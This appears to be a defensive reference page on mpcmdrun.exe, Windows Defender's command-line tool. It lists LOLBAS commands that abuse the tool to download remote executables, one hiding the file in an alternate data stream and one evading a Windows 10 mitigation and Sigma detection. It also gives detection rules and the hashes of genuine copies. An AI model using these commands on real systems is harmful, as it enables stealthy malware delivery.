Identifier / Programs / Windows
mpcmdrun.exe
Microsoft Malware Protection Command Line Utility file version info (xCyclopedia)
LOLBAS Download, ADS 5 Sigma rules name it 2 ATT&CK techniques 3 documented commands 15 known copies with hashes
How mpcmdrun.exe is abused
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for mpcmdrun.exe.
3 documented commands
Download T1105 Ingress Tool Transfer User privileges
Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}Trips 1 Sigma rule: highFile Download Via Windows Defender MpCmpRun.EXE by Matthew Matchen
Download T1105 Ingress Tool Transfer User privileges
Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.
copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exeTrips no Sigma process-creation rule.
ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges
Download file to machine and store it in Alternate Data Stream
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exeTrips 1 Sigma rule: highFile Download Via Windows Defender MpCmpRun.EXE by Matthew Matchen
2 of the 3 commands the identifier reads trip a Sigma process-creation rule; 1 trips none. These commands and their descriptions are from LOLBAS’s entry for mpcmdrun.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for mpcmdrun.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real mpcmdrun.exe?
C:\Program Files\Windows Defender\C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2001.10-0\C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2003.8-0\15 known copies
4.18.2009.7 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2009.7-0\X86\MpCmdRun.exe · signed by Microsoft Windows Publisher
7cdb1640fab503f51b59efd6ec634e52250fb440b95d420514e2f79f4c927a0d4.18.2009.7 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2009.7-0\MpCmdRun.exe · signed by Microsoft Windows Publisher
aec93378d5b4441fa8b813d62175575c056b6b88154e073f417a960cf844590a4.18.2008.9 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\X86\MpCmdRun.exe · signed by Microsoft Windows Publisher
8ae272396dca1ea6fe09e2982c3c4727a926371ab4b904c188b570d5d5d193e14.18.2008.9 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe · signed by Microsoft Windows Publisher
f3a89b19af1a084c6e827848bdc020c048b9abcfb0f052da50eacc37f6fda1a64.18.2007.8 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\X86\MpCmdRun.exe · signed by Microsoft Windows Publisher
3d9a2c370c77a665ced8aab4864892300259081b3e0acf5879a9b605f4a46a0b4.18.2007.8 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\MpCmdRun.exe · signed by Microsoft Windows Publisher
f2c04fa5b0bccd32f7b158c42d67b8242867e2c31058c68f13868035dbb097874.18.2006.10 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2006.10-0\X86\MpCmdRun.exe · signed by Microsoft Windows Publisher
a3385aee4335dd8010c870c1ccc16001bfe16668ddb0a9ad662612d430091f934.18.2006.10 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2006.10-0\MpCmdRun.exe · signed by Microsoft Windows Publisher
ae9fcc8ca73e56bd36641348c3f07c8c96ac8ae68ed62d332c55ccffd16f35654.18.2005.5 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2005.5-0\MpCmdRun.exe · signed by Microsoft Windows Publisher
6e4414d999ef1d89060889e20f1fcd5a9bc5e4837c75043fd8144eff42647e6a4.18.2005.5 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2005.5-0\X86\MpCmdRun.exe · signed by Microsoft Windows Publisher
7da9ac762bf310f545f7c7eab0309e325212765d2988880766d631bee14808f64.18.2004.6 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2004.6-0\MpCmdRun.exe · signed by Microsoft Windows Publisher
1ce5fda39e3864264ded0256ebe0ba12cb0a7c5858fce503c996c14749a7b1724.18.2004.6 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2004.6-0\X86\MpCmdRun.exe · signed by Microsoft Windows Publisher
9909ddc3158721bd4c09a6bcdeb1a32cb7bdd12a29fcae56cb5f4bdc0a1412964.18.2003.8 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2003.8-0\MpCmdRun.exe · signed by Microsoft Windows Publisher
fb196b4518553c84543808d34f3d8d2c984124adbfc48d8beaa5c843a81f4b754.18.2001.10 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2001.10-0\MpCmdRun.exe · signed by Microsoft Windows Publisher
9acefdfa6f7eb49142b545b085a46e481cf7b137ef7e48f36fc966410929c1aa4.18.1807.18075 (GitEnlistment(winpbld).180719-0853) · C:\Program Files\Windows Defender\MpCmdRun.exe · signed by Microsoft Windows
81f85a88dd1829663d5e748ca95709eff5328444bbdb2c888f85124d939f6899From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.